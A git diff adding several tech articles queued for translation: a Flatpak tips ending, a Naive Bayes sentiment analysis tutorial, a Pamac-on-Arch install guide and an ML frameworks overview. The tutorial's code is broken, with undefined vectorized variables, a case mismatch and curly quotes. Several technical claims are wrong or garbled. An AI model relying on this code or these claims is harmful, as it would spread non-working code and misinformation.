can revert the changes using this command: + +``` +sudo flatpak override --reset +``` + +Read more about [applying GTK theme to Flatpak apps in this article][16]. + +### 6. Update Flatpak apps and clean them + +This is more for Flatpak unfriendly distributions like Ubuntu. If your distro doesn’t come baked in with Flatpak and you don’t have it integrated with the Software center, your installed Flatpak apps won’t be updated with system updates. + +You can update all your installed Flatpak apps simultaneously with: + +``` +flatpak update +``` + +![Update Flatpak applications][17] + +Not only it will update the applications, but it will also [remove any unused runtimes][18]. You**don’t need to run this command manually anymore**. + +``` +flatpak uninstall –unused +``` + +**Bonus tip**: While removing a Flatpak application, you can make it remove personal application data that are usually left behind in the home directory. + +``` +flatpak uninstall --delete-data package_name +``` + +### Conclusion + +I deliberately didn’t add [more Flatpak command tips][19] though I was tempted to. Probably there are a few more applications and tweaks for Flatpak packages. I shared my favorite ones. + +If you know any good tips related to Flatpak packages, do share them with us in the comment section. + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/flatpak-tips-tweaks/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/what-is-flatpak/ +[2]: https://flathub.org/home +[3]: https://itsfoss.com/wp-content/uploads/2022/07/flathub-website.png +[4]: https://itsfoss.com/no-remote-ref-found-flatpak/ +[5]: https://itsfoss.com/wp-content/uploads/2022/07/apps-on-flathub.png +[6]: https://addons.mozilla.org/en-US/firefox/addon/flatline-flatpak/ +[7]: https://itsfoss.com/wp-content/uploads/2022/07/flatline-extension.png +[8]: https://itsfoss.com/wp-content/uploads/2022/07/installing-flatpak-from-web-browser.png +[9]: https://gitlab.gnome.org/haecker-felix/souk +[10]: https://itsfoss.com/wp-content/uploads/2022/07/souk-app-details.png +[11]: https://itsfoss.com/bauh-package-manager/ +[12]: https://flathub.org/apps/details/com.github.tchx84.Flatseal +[13]: https://itsfoss.com/wp-content/uploads/2021/11/flatpak-permission-control-flatseal.png +[14]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/flatpak-adwaita.webp?ssl=1 +[15]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/flatpak-canta-dark.webp?ssl=1 +[16]: https://itsfoss.com/flatpak-app-apply-theme/ +[17]: https://itsfoss.com/wp-content/uploads/2022/07/update-flatpak-applications.png +[18]: https://blogs.gnome.org/mwleeds/2021/01/11/cleaning-up-unused-flatpak-runtimes/ +[19]: https://docs.flatpak.org/en/latest/tips-and-tricks.html diff --git a/sources/tech/20220727 An Introduction to Sentiment Analysis Using NLP and ML.md b/sources/tech/20220727 An Introduction to Sentiment Analysis Using NLP and ML.md new file mode 100644 index 0000000000..e2ab6ad78c --- /dev/null +++ b/sources/tech/20220727 An Introduction to Sentiment Analysis Using NLP and ML.md @@ -0,0 +1,283 @@ +[#]: subject: "An Introduction to Sentiment Analysis Using NLP and ML" +[#]: via: "https://www.opensourceforu.com/2022/07/an-introduction-to-sentiment-analysis-using-nlp-and-ml/" +[#]: author: "Mir H.S. Quadri https://www.opensourceforu.com/author/shah-quadri/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +An Introduction to Sentiment Analysis Using NLP and ML +====== +Would you like to understand how Google uses NLP and ML for creating brilliant apps such as Google Translate? Would you like to build the ‘next big thing’ in the natural language understanding space? Then this article is for you. It introduces you to sentiment analysis of text based data with a case study, which will help you get started with building your own language understanding models. + +![An-Introduction-to-Sentiment-Analysis-Using-NLP-and-ML][1] + +We live in the age of Big Data. There is no shortage of text based data. If anything, one can argue that we have too much of it. Everything, from tweets on Twitter to comments on YouTube to customer reviews on Amazon, can be considered as text based data. As human beings, it’s easy for us to read a piece of text in a language that we are familiar with, and understand what emotions are being expressed and what specifications are being shared. However, it’s not as simple for a machine such as a computer to do the same. + +### Natural language understanding + +While computers have been able to deconstruct and analyse syntactic rules of a language for decades, with software such as MS Word being able to recognise spelling and punctuation errors, semantic understanding of a language is a whole different ball game. This is where natural language processing (NLP) and machine learning come into the picture. For decades, researchers have been working hard to make machines that are able to understand what is being expressed and the underlying emotions that are being exhibited in a human language. Although the techniques for creating such a technology have been known for quite a while, i.e., smart algorithms that can learn from data, what was lacking was the real-time ‘data’ required to train the algorithms. Additionally, there was an element of computational complexity that required smarter devices with faster processing speed to be able to analyse a piece of text in real-time and share the results instantly. + +In 2022, we have the data, the speed, and the algorithms to finally make this happen. The past decade (2010 onwards) has been monumental for natural language processing. With the advent of cloud technology, coupled with Big Data frameworks, scientists have made immense strides in achieving ‘natural language understanding’. This has been achieved by using natural language processing in conjunction with smart machine learning algorithms that can work with both structured and unstructured data. + +### Sentiment analysis of text + +In the field of natural language processing of textual data, sentiment analysis is the process of understanding the sentiments being expressed in a piece of text. As humans, we communicate both the facts as well as our emotions relating to it by the way we structure a sentence and the words that we use. This is a complex process that, albeit seems simple to us, is not as easy for a computer to deconstruct and analyse. Sentiment analysis of text requires using sophisticated natural language processing techniques coupled with advanced machine learning algorithms that have the ability to learn from structured as well as unstructured data. + +There is huge economic value in solving the problem of sentiment analysis in text. Companies that sell products hugely depend on the customer reviews. If there are tools and mechanisms in place by which they are able to analyse the customer’s sentiments, the sellers can get a granular look at the issues that their product is facing. This removes a lot of the human labour involved in tasks such as this, and also optimises the process for a myriad of other features such as product recommendations, increasing user acquisition while decreasing user attrition rate. For social media companies, natural language understanding is crucial in identifying posts with abuse, hate-speech, inciteful content and spam. + +### Types of sentiment analysis for text based data + +Sentiment analysis of text is a broad based term that covers many different techniques used for specific types of sentiment analysis. In general, it focuses on understanding the polarity of a given piece of text, i.e., positivity, negativity or neutrality conveyed in the text. However, there can be more depth to understanding the sentiments conveyed in the text. + +*Graded sentiment analysis:* Graded sentiment analysis takes the generalised search for polarity in text to a deeper level. For example, let us say A and B are two sample texts. It is possible that both convey a negative sentiment. But it is also possible that A is more negative than B. In such a case, graded sentiment analysis can be used to not only understand the polarity of a piece of text but also grade it for the level of polarity it holds, such as: + +* Very negative +* Negative +* Somewhat negative +* Somewhat neutral +* Neutral +* Very neutral +* Somewhat positive +* Positive +* Very positive + +*Emotion and sentiment analysis:* In some cases, understanding the polarity of a text is not enough. You may also like to understand the specific emotions that are being conveyed in it. For instance, a text can be negative but, specifically, it may express more sadness than anger or vice versa. This can be crucial when trying to detect hate speech on social media or to understand how your product made your customer feel on an e-commerce platform. + +Emotion detection in sentiment analysis can be done to understand emotions expressed in text such as: + +* Anger (Negative) +* Sadness (Negative) +* Joy (Positive) +* Happiness (Positive) +* Gratitude (Neutral) +* Honesty (Neutral + +*Aspect based sentiment analysis:* In certain cases, it is not enough to understand the polarity and emotion in a piece of text; we also require some context in the form of aspects or features. For instance, it isn’t enough for a seller selling a washing machine on Amazon to know whether a user review contained negativity and anger. The seller would instead like to know the specific features or aspects of the product that actually caused the anger or frustration in the customer. Was it the new ‘timer system’ or the ‘product size’ or the ‘product design’ that caused the issue for the customer? These are all aspects of the washing machine, and if the computer is able to understand not just the sentiments of the customer but also the reasons for the sentiment, this can provide the seller with a lot more context. Amazon reviews are one of many use cases for aspect based sentiment analysis. + +*Multilingual sentiment analysis:* Things can get very complicated very fast for machine learning algorithms when you introduce more than one language into the mix. Every language has its own set of rules and methods of expression. There may be overlap in certain regards but every language brings its own unique baggage. For instance, both Spanish and French have their roots in Latin. However, sentence construction and the spelling of words have their own methods and rules. How is a computer supposed to understand the sentiments of a text when a bilingual user uses some words in French and other words in Spanish? In India we tend to write ‘Hindi’ and ‘Urdu’ using the English alphabet. From texting to making comments on YouTube, this is a very common practice in India. To understand such a piece of text can be extremely challenging. This is where multilingual sentiment analysis comes in. Breakthroughs are being made every day but there is a lot that still needs to be done in this particular field. + +### How to use NLP and ML for sentiment analysis of text based data + +Now that we have a clear understanding of what NLP is and why it is a crucial field of research in AI and ML, we shall now shift our focus to discussing how you as a beginner in NLP and ML can get started by building your own language understanding models. + +In sentiment analysis using AI, building a language understanding model requires three things: + +1. A specific problem to solve +2. A relevant data set +3. An appropriate machine learning algorithm + +In this article, we will use a case study to show how you can get started with NLP and ML. The example used below is super simple and easy to follow. But before we get started with the case study, let me introduce you to the Multinomial Naïve Bayes algorithm that we shall be using to build our machine learning model. + +### The Multinomial Naïve Bayes algorithm + +The Naïve Bayes algorithm is a probabilistic classifier used for predictive analysis. It is simpler as compared to other algorithms and has been known to have a higher success rate. Naïve Bayes makes the assumption that all input attributes are conditionally independent. It is highly scalable and works on the principle of learning by doing. + +It takes preprocessed data with the extracted features required as input for training. Once trained, it can be used to provide polarity of a given input text, i.e., if the text is positive, negative or neutral. + +Bayes theorem states that the posterior probability P(A|B) is calculated from P(A), P(B), and P(B|A). Naive Bayes classifiers assume that the effect of the value of a predictor (y) on a given class (X) is independent of the values of other predictors. What makes Naïve Bayes distinct from the more traditional Bayes Belief Networks (BBN) is that it assumes complete conditional independence of all input attributes. The Bayes theorem is given as: + +![Equation][2] + +where A and B are two events that are independent of each other and make an equal contribution to the outcome. + +If we generalise the Naïve Bayes algorithm, we get: + +![][3] + +where y is the class variable and X is the feature vector of size ‘n’, i.e., X = (x1, x2, x3, …, xn). + +In sentiment analysis, for certain cases, finding the word frequency or discrete count can be beneficial in increasing the accuracy of the machine learning model. In such cases, Multinomial Naïve Bayes, a variant of the standard Naïve Bayes can be used. In MNB, the assumption is that the distribution of each feature, i.e., P(fi|C), is a multinomial distribution. + +Multinomial distribution is defined as: + +![][4] + +where n is the total number of events, n1 … nx are the number of outcomes for each event, and P1 … Px are the probabilities of the occurrence of each event. + +### Case study: Sentiment analysis of statements made in ‘finance’ related news using the Multinomial Naïve Bayes algorithm + +For the purpose of this case study, I have made use of a data set that is freely available on Kaggle. This is a simple data set that is extremely ideal for beginners who are just getting started with sentiment analysis. It contains two features, namely, the sentences and their corresponding sentiments. The sentiment for each sentence can either be positive, negative or neutral. This data set contains 5322 unique sentences, which are plenty for training and testing our algorithm. + +You can download the data set for free from *https://www.kaggle.com/code/turankeskin/financialsenti/data*. Now place it in the same folder as your notebook or Python file to make things easier. + +*Step 1:* We will start by importing the Python libraries necessary for this project: + +``` +import numpy as np +import pandas as pd +import seaborn as sns +import matplotlib.pyplot as plt +import re +import string +import nltk + +nltk.download(‘stopwords’) +nltk.download(‘punkt’) +nltk.download(‘wordnet’) +nltk.download(‘averaged_perceptron_tagger’) +nltk.download(‘maxent_ne_chunker’) +nltk.download(‘words’) + +from wordcloud import WordCloud + +from nltk.tokenize import sent_tokenize, word_tokenize +from nltk.corpus import stopwords +from nltk.stem import WordNetLemmatizer, PorterStemmer +from nltk import pos_tag, ne_chunk +from nltk.chunk import tree2conlltags + +import warnings +warnings.filterwarnings(“ignore”) +``` + +*Step 2:* Using pandas, we will read the *csv* file and create an instance: + +``` +Data = pd.read_csv(“/kaggle/input/financial-sentiment-analysis/data.csv”) +df = data.copy() +``` + +*Step 3:* To get an idea of how many positive, negative and neutral sentences we have in the data set, we are going to plot the data into a bar chart: + +``` +print(df[“Sentiment”].value_counts()) +sns.countplot(x=”Sentiment”,data=df); +``` + +Figure 1 shows the distribution of positive, negative and neutral sentences in the data set. + +![Figure 1: Distribution of positive, negative and neutral sentences in the data set][5] + +*Step 4:* Next, we will start with cleaning and pre-processing the text before applying the MNB algorithm to boost the accuracy and precision of the training data: + +``` +stop_words = set(stopwords.words(“english”)) +df[“Sentence”] = df[“Sentence”].str.replace(“\d”,””) +def cleaner(data): + + # Tokens + tokens = word_tokenize(str(data).replace(“’”, “”).lower()) + + # Remove Puncs + without_punc = [w for w in tokens if w.isalpha()] + + # Stopwords + without_sw = [t for t in without_punc if t not in stop_words] + + # Lemmatize + text_len = [WordNetLemmatizer().lemmatize(t) for t in without_sw] + # Stem + text_cleaned = [PorterStemmer().stem(w) for w in text_len] + + return “ “.join(text_cleaned) +df[“Sentence”] = df[“Sentence”].apply(cleaner) +``` + +*Step 5:* Now we need to filter out the rare words that are used in the sentences. + +``` +rare_words = pd.Series(“ “.join(df[“Sentence”]).split()).value_counts() +rare_words = rare_words[rare_words <= 2] + +df[“Sentence”] = df[“Sentence”].apply(lambda x: “ “.join([i for i in x.split() if i not in rare_words.index])) +``` + +*Step 6:* As a next step, we can generate a word cloud to see the most commonly occurring words in the text. This is an option step and more for our own understanding of the data set than anything else. Figure 2 shows the word cloud generated as a result of the code in Step 6. + +![Figure 2: Word cloud showing 500 most commonly used terms in the data set][6] + +``` +plt.figure(figsize=(16,12)) +wordcloud = WordCloud(background_color=”black”,max_words=500, width=1500, height=1000).generate(‘ ‘.join(df[‘Sentence’])) +plt.imshow(wordcloud, interpolation=’bilinear’) +plt.axis(“off”) +plt.show() +``` + +*Step 7:* Before we execute the algorithm, we need to divide the data set into two parts. One part will be used for training the algorithm and the other for testing it. + +``` +from sklearn.model_selection import train_test_split +from sklearn.metrics import confusion_matrix,classification_report,accuracy_score +from sklearn.naive_bayes import MultinomialNB + +X = df[“Sentence”] +y = df[“Target”] + +X_train,X_test,y_train,y_test = train_test_split(X,y, test_size = 0.25,random_state= 42,stratify=y) +``` + +*Step 8:* Finally, we will execute the Multinomial Naïve Bayes algorithm on the training data: + +``` +nb_model = MultinomialNB() +nb_model.fit(X_train_count,y_train) +``` + +*Step 9:* Let us evaluate the performance of the trained MNB algorithm using the test data: + +``` +nb_pred = nb_model.predict(X_test_count) +nb_train_pred = nb_model.predict(X_train_count) +print(“X Test”) +print(classification_report(y_test,nb_pred)) +print(“X Train”) +print(classification_report(y_train,nb_train_pred)) +``` + +The output of the code above has been shown in Figure 3. We have successfully trained and tested the Multinomial Naïve Bayes algorithm on the data set, which can now predict the sentiment of a statement from financial news with 80 per cent accuracy. + +![Figure 3: Results from testing the trained MNB algorithm][7] + +*Step 10:*We can visualise these results in the form of a heat map for more clarity: + +``` +plt.figure(figsize=(8,8)) +sns.heatmap(confusion_matrix(y_test,nb_pred),annot = True,fmt = “d”) +``` + +Figure 4 shows the results of the MNB algorithm in the form of a heat map. + +![Figure 4: MNB algorithm accuracy for data set][8] + +*Step 11:* We can also visualise these results using a precision-recall curve: + +``` +from yellowbrick.classifier import PrecisionRecallCurve +viz = PrecisionRecallCurve(MultinomialNB(), + classes=nb_model.classes_, + per_class=True, + cmap=”Set1”) +viz.fit(X_train_count,y_train) +viz.score(X_test_count, y_test) +viz.show(); +``` + +Figure 5 shows the precision-recall curve of the MNB algorithm. + +![Figure 5: Precision-recall curve of the MNB algorithm][9] + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/07/an-introduction-to-sentiment-analysis-using-nlp-and-ml/ + +作者:[Mir H.S. Quadri][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/shah-quadri/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/06/An-Introduction-to-Sentiment-Analysis-Using-NLP-and-ML.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Equation.jpg +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Equation-2-3.jpg +[4]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Equation-3.jpg +[5]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-1-Distribution-of-positive-negative-and-neutral-sentences-in-the-data-set-3.jpg +[6]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-2-Word-cloud-showing-500-most-commonly-used-terms-in-the-data-set.jpg +[7]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-3-Results-from-testing-the-trained-MNB-algorithm.jpg +[8]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-4-MNB-algorithm-accuracy-for-data-set.jpg +[9]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-5-Precision-recall-curve-of-the-MNB-algorithm.jpg diff --git a/sources/tech/20220727 How to Install Pamac GUI Package Manager in Arch Linux.md b/sources/tech/20220727 How to Install Pamac GUI Package Manager in Arch Linux.md new file mode 100644 index 0000000000..1fdf998079 --- /dev/null +++ b/sources/tech/20220727 How to Install Pamac GUI Package Manager in Arch Linux.md @@ -0,0 +1,155 @@ +[#]: subject: "How to Install Pamac GUI Package Manager in Arch Linux" +[#]: via: "https://itsfoss.com/install-pamac-arch-linux/" +[#]: author: "Anuj Sharma https://itsfoss.com/author/anuj/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How to Install Pamac GUI Package Manager in Arch Linux +====== + +[Pamac][1] is the package manager of [Manjaro][2] based on [libalpm][3] which also supports Appstream, [AUR][4], [Flatpak][5] and [Snaps][6]. Being an alternative to [pacman][7] it focuses on providing an easy-to-use interface whether it is GUI or CLI. + +Arch Linux relies on the [pacman commands for package management][8]. You may get a GUI-based software center from your desktop environment. + +However, if you want to install the fabulous Pamac package manager in Arch Linux, you could do that. + +In this tutorial, I’ll show you two methods to do that: + +* Installing from the AUR +* Installing from the [Chaotic-AUR][9] (Recommended as the developers of Garuda Linux sign packages) + +Both are command line methods, but you are an Arch user, and I believe you can handle the command line a bit, can you not? + +### Method 1: Installing Pamac from the AUR + +If you have an AUR helper like Yay installed already, getting Pamac is really easy. + +``` +yay -S pamac-aur +``` + +**Otherwise, you’ll have to go the challenging route.** + +First, update your system as Arch is a rolling release distribution and [do not support partial upgrades][10]. Enter the following command in the terminal to [update your Arch Linux system][11]. + +``` +sudo pacman -Syu +``` + +Then you need to install all the packages of the [base-devel][12] package group and [git][13] by entering the command below. + +``` +sudo pacman -S --needed base-devel git +``` + +Now you need to build and install [archlinux-appstream-data-pamac][14], [libpamac-aur][15] and [pamac-aur][16] respectively. + +Enter the following commands replacing the package name with packages you want to install for all the 3 packages. + +``` +git clone https://aur.archlinux.org/archlinux-appstream-data-pamac.git +cd archlinux-appstream-data-pamac +makepkg -si +``` + +In this case, the AUR package `pamac-aur` have other AUR packages as dependencies. So you have to build and install them before installing the main package. This hassle can be avoided by using an [AUR helper][17]. + +Building and installing packages from AUR may fail due to outdated [PKGBUILD][18] and there are plenty of them in the AUR. Also, you need to manually update AUR packages if there is an update, as AUR packages don’t update when you update your system with Pacman. + +In my opinion, you should use the next method. You don’t have to bother building and updating Pamac manually when there is an update. + +### Method 2: Installing Pamac from the Chaotic-AUR (Recommended) + +Chaotic-AUR is a repository for Arch Linux maintained by the developers of [Garuda Linux][19]. Packages of this repo are signed and can be trusted. When you add this repo, you can install Pamac using Pacman directly. + +Let’s add the repo by entering the following commands. + +``` +sudo pacman-key --recv-key FBA220DFC880C036 --keyserver keyserver.ubuntu.com +sudo pacman-key --lsign-key FBA220DFC880C036 +sudo pacman -U 'https://cdn-mirror.chaotic.cx/chaotic-aur/chaotic-keyring.pkg.tar.zst' 'https://cdn-mirror.chaotic.cx/chaotic-aur/chaotic-mirrorlist.pkg.tar.zst' +``` + +The above command just installs the keyring and mirrorlist for the repo. You also have to add the repo to the end of */etc/pacman.conf*. Here I will use nano to edit the file. + +``` +sudo nano /etc/pacman.conf +``` + +The resulting file should look something like this. + +``` +... +# An example of a custom package repository. See the pacman manpage for +# tips on creating your own repositories. +#[custom] +#SigLevel = Optional TrustAll +#Server = file:///home/custompkgs + +[chaotic-aur] +Include = /etc/pacman.d/chaotic-mirrorlist +``` + +Now update your system using Pacman and install Pamac by the entering the following command. + +``` +sudo pacman -Syu pamac-aur +``` + +Once installed, you can access the GUI from Application Menu and CLI using the pamac command. + +![Pamac GUI][20] + +![Pamac CLI][21] + +In case you don’t like Pamac, you can remove it along with its dependencies and configuration files using pacman via the following command: + +``` +sudo pacman -Rns pamac-aur +``` + +### Conclusion + +When I started using Arch Linux, I was also very skeptical about installing AUR packages as they took a long time to build and many times refused to build due to outdated PKGBUILD. I wish we had Chaotic-AUR earlier kudos to the Garuda Linux developers. + +Note that there are other variants of Pamac available in the AUR which support Flatpak and Snaps. But in this tutorial, I have mentioned the variant with only Appstream and AUR support. + +What’s your opinion on adding a 3rd party repos like Chaotic-AUR on Arch Linux? Which method would you use to install Pamac? + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/install-pamac-arch-linux/ + +作者:[Anuj Sharma][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/anuj/ +[b]: https://github.com/lkxed +[1]: https://wiki.manjaro.org/index.php/Pamac +[2]: https://manjaro.org/ +[3]: https://man.archlinux.org/man/libalpm.3.en +[4]: https://aur.archlinux.org +[5]: http://flatpak.org +[6]: https://snapcraft.io/ +[7]: https://wiki.archlinux.org/title/Pacman +[8]: https://itsfoss.com/pacman-command/ +[9]: https://aur.chaotic.cx/ +[10]: https://wiki.archlinux.org/title/System_maintenance#Partial_upgrades_are_unsupported +[11]: https://itsfoss.com/update-arch-linux/ +[12]: https://archlinux.org/groups/x86_64/base-devel/ +[13]: https://git-scm.com/ +[14]: https://aur.archlinux.org/packages/archlinux-appstream-data-pamac +[15]: https://aur.archlinux.org/packages/libpamac-aur +[16]: https://aur.archlinux.org/packages/pamac-aur +[17]: https://wiki.archlinux.org/title/AUR_helpers +[18]: https://wiki.archlinux.org/title/PKGBUILD +[19]: http://garudalinux.org +[20]: https://itsfoss.com/wp-content/uploads/2022/07/pamac-gui.png +[21]: https://itsfoss.com/wp-content/uploads/2022/07/pamac-cli-terminal.png diff --git a/sources/tech/20220728 A Few Tools that Help Machines to Learn.md b/sources/tech/20220728 A Few Tools that Help Machines to Learn.md new file mode 100644 index 0000000000..f0bee339ac --- /dev/null +++ b/sources/tech/20220728 A Few Tools that Help Machines to Learn.md @@ -0,0 +1,141 @@ +[#]: subject: "A Few Tools that Help Machines to Learn" +[#]: via: "https://www.opensourceforu.com/2022/07/a-few-tools-that-help-machines-to-learn/" +[#]: author: "Dr Anand Nayyar https://www.opensourceforu.com/author/anand-nayyar/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +A Few Tools that Help Machines to Learn +====== +Artificial intelligence, machine learning, and deep learning have evolved over decades to help computers perform tasks in the way humans do. This article briefly describes three open source machine learning frameworks — OpenCV, PyTorch and OpenNN – in the context of these technologies. + +![Machine-learning-tools][1] + +Artificial intelligence (AI) aims to mimic the functions of the human brain using computers. It uses mathematical and statistical models (e.g., probability) to do so. Machine learning (ML) improves the behaviour of AI models using programming models of brain functions, and storing the results of these models for future predictions. + +These technologies are inspired by the human neural network, which is the core storage layer of our brain. The processing efficiency of these neural network based solutions is improved by implementing a distributed model for faster processing, as well as simulation of various brain functions like object detection, analytical ability, etc. + +Genetic algorithms improve deep learning models. These have a self-learning ability and are intuitive, hence maximising the applications of AIML (artificial intelligence modelling language) models and reducing the effort in training them. They improve the knowledge base in neural networks. + +![Figure 1: AIML model functions][2] + +All these technologies are helping computer based applications to improve their ability to come closer to human-like thinking, while reducing the effort needed to build and train models. + +### Common features of AIML tools + +Many tech giants are investing large sums in deep learning projects. These include Facebook, Intel and Google, to name a few. Google Brain is the AI research team in Google, which was first formed in early 2010 to design deep learning solutions using Google platforms. The first software built by this team was DistBelief. Later, it was instrumental in releasing many popular projects like TensorFlow, Google Analytics and Google Translate. + +There are many popular machine learning frameworks available in the market, many of which are open source. However, we cannot blindly select a machine learning tool or framework based on convenience. We need to look at the problem scenario, data requirements, data volume to process, training data availability, trainability, algorithm support, visualisation and reporting facility, capability to auto-build the knowledge or training model, processing speed required (CPU/GPU), to name a few, before we make a choice. + +In machine learning, building the model is a time consuming task as a lot of training is needed to get higher accuracy in processing the model for the given problem. For example, a lot of training needs to be done to build the neural network of data sets to get greater accuracy in recognising images. + +![Figure 2: Cognitive intelligence types][3] + +Computational problems are largely solved using a traditional approach like statistical and scientific algorithms. However, some of these problems prove to be costly in terms of time and effort if solved in this way. Pretrained machine learning models can handle such problems using less time and money. + +### Vision API, image API and face detection + +AI grew in importance from the early 1950s to the late 1980s, when engineers developed intelligent machines and programs to address particular problems. + +Since training AI models was costly and time consuming, and the accuracy rate or efficiency of the AI algorithms remained static, ML evolved in the 1980s as a subset of AI. ML models learn by themselves without being explicitly programmed, as a self-training capability is slowly built into them. They address specific problems and can be used for image or speech recognition with higher accuracy. + +Deep learning (DL) is a subset of ML, which uses a multi-layered neural network and improves accuracy and efficiency by learning from its experience (called historical data). It builds a model based on the history, and is very efficient for large volumes of data. Deep learning started to emerge in the late 2010s and is widely used in speech recognition, image or pattern recognition, object detection in videos and images, and language translation, to name a few. + +![Figure 3: Machine learning API types][4] + +Cognitive services help to quickly develop AI models for applications to manage human-like decision making services such as pattern recognition, speech recognition and search facilities. Machine learning cognitive services can be grouped into five major categories of activities, as given below. + +*Vision API:* This service helps to handle image and video processing in face detection, object detection, and pattern recognition with specific use case features like celebrity/landmark detection, handwritten character recognition and OCR activities. + +*Language API:* This service handles sentiment analysis, language understanding (termed as LUIS), bot facilities for answering questions from the knowledge base, language detection, language translation, phonetic analysis, etc. + +*Speech API:*This service handles speech-to-text and text-to-speech translation, real-time speech translation and transcribing, custom voice moderation, etc. + +*Knowledge API:* This service facilitates bot services, contact centre AI facilities for knowledge base creation, QA extraction from textual documentation, self-training from voice answers, content customisation, personalised learning, semantic matching, anomaly detection in content search, etc. + +**Search API:** Based on Bing or Google search APIs, this service offers a search facility for images, videos, text and audio content; image identification, extraction and classification; lead generation based on search results, etc. + +### OpenCV + +OpenCV is one of the most popular vision API facilitated open source machine learning frameworks. It provides various libraries and hardware simulators for building, deploying and testing machine learning models. One of the most important implementers of OpenCV is the Microsoft Azure platform, which uses it for its MMLSpark framework for advanced Big Data services. + +Microsoft has contributed to the Apache Spark framework by introducing the Microsoft Machine Learning for Apache Spark (MMLSpark) framework. MMLSpark expands the distributed machine learning solution of Apache Spark by adding OpenCV, Microsoft Cognitive Toolkit (CNTK) and many other machine learning framework capabilities to the Spark framework in Big Data processing using the enterprise data lake solution. + +MMLSpark comprises a group of machine learning libraries. These are listed below. + +1. Vowpal Wabbit: Library services for machine learning to enable text analytics like sentiment analysis in tweets. +2. Cognitive services on Spark: These combine the features of Microsoft cognitive services in SparkML pipelines in order to get a solution design for cognitive data modelling services like anomaly detection. +3. LightBGM: Machine learning model to enable training for predictive analysis like face ID detection. +4. Spark Serving: Provides a REST API facility to use Spark streaming resources at ease. +5. HTTP on Spark: Enables distributed microservices orchestration in integrating Spark and HTTP protocol based accessibility. +6. Cognitive Toolkit (CNTK): Deep learning framework from Microsoft to enable a Spark solution for data validation in streaming data. +7. Lime: Classifier and modelling solution for distributed models in Spark streaming data. +8. Spark Binding Auto-generation: Enables PySpark (Python) and SparklyR (R programming) coding facility for modelling Spark streaming data models. + +MMLSpark enables data processing with Spark for modelling solutions using machine learning libraries for image processing, video analytics, text analytics, etc. + +*Latest version:* 4.5.5 +*Official website:* *https://opencv.org/* + +### PyTorch + +PyTorch is an open source machine learning framework based on the Torch library and is primarily used for computer vision and natural language processing (NLP). Developed by the Facebook AI Research Lab, it facilitates building deep learning models and allows them to be expressed in idiomatic Python. It is an optimised tensor library for deep learning using GPUs and CPUs. Functionality can be extended with common Python libraries such as NumPy and SciPy. The easiest way to get started with PyTorch is to use NGC containers. The PyTorch NGC container comes with all the dependencies that are useful to design applications for conversational AI, natural language processing, recommendation systems and computer vision. + +It has two good features: + +* Tensor computations with strong GPU acceleration. +* Deep neural networks are built on a tape-based autograd system. + +The PyTorch library comprises the following components: + +* Torch: This is considered a tensor library like NumPy. +* Torch.autograd: This is a tape based automatic differentiation library. +* Torch.jit: Torch script to create serialisable and optimisable models from code. +* Torch.nm: This is a neural network library. +* Torch.multiprocessing: Python multiprocessing and useful for data loading and Hogwild training. +* Torch.utils: Miscellaneous utilities for developers for using code. + +*Features:* + +1. Production ready: Easy to use and has flexibility to integrate code in runtime environments. +2. Torchserve: Strong tool for deploying PyTorch in an easy manner. +3. Mobile support: Supports end-to-end workflow — from Python to deployment on iOS and Android environments. +4. Robustness in integration of tools and libraries. +5. With a C++ frontend, design and architecture becomes easy to understand, and has low latency. +6. Cloud computing ready: PyTorch is well supported for cloud API-based seamless integration. + +*Latest version:* 1.11.0 +*Website: https://pytorch.org/* + +### OpenNN + +OpenNN is a C++ based software library designed for advanced analytics and implements neural networks. The library is stable and very fast in memory allocation. It is constantly optimised and parallelised to attain efficiency in code. It implements data mining methods. + +**Features:** + +a. High processing speed +b. Easy design and implementation +c. Proof-of-concept +d. C++ oriented + +*Website:* *https://www.opennn.net/* + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/07/a-few-tools-that-help-machines-to-learn/ + +作者:[Dr Anand Nayyar][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/anand-nayyar/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Machine-learning-tools.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-1-AIML-model-functions-3.jpg +[3]: 